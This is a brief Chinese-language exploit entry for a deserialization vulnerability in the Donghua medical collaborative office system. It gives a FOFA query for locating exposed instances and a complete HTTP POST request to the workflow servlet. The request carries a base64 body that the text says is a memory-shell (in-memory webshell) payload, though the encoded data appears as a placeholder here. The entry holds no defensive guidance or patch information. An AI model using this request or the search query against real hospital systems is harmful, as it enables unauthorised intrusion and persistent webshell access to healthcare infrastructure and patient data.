## 东华医疗协同办公系统反序列化漏洞

## fofa
```
body="东华医疗协同办公系统"
```
## poc
```
POST /workflow/DemoDefinitionProxyServlet/111 HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 13283
Cache-Control: max-age=0
Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Origin: https://xx.xx.xx.xx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

<@d_base64>[encoded data, 13260 characters]<@/d_base64>
```
<@d_base64>参数中 base64编码为内存马payload
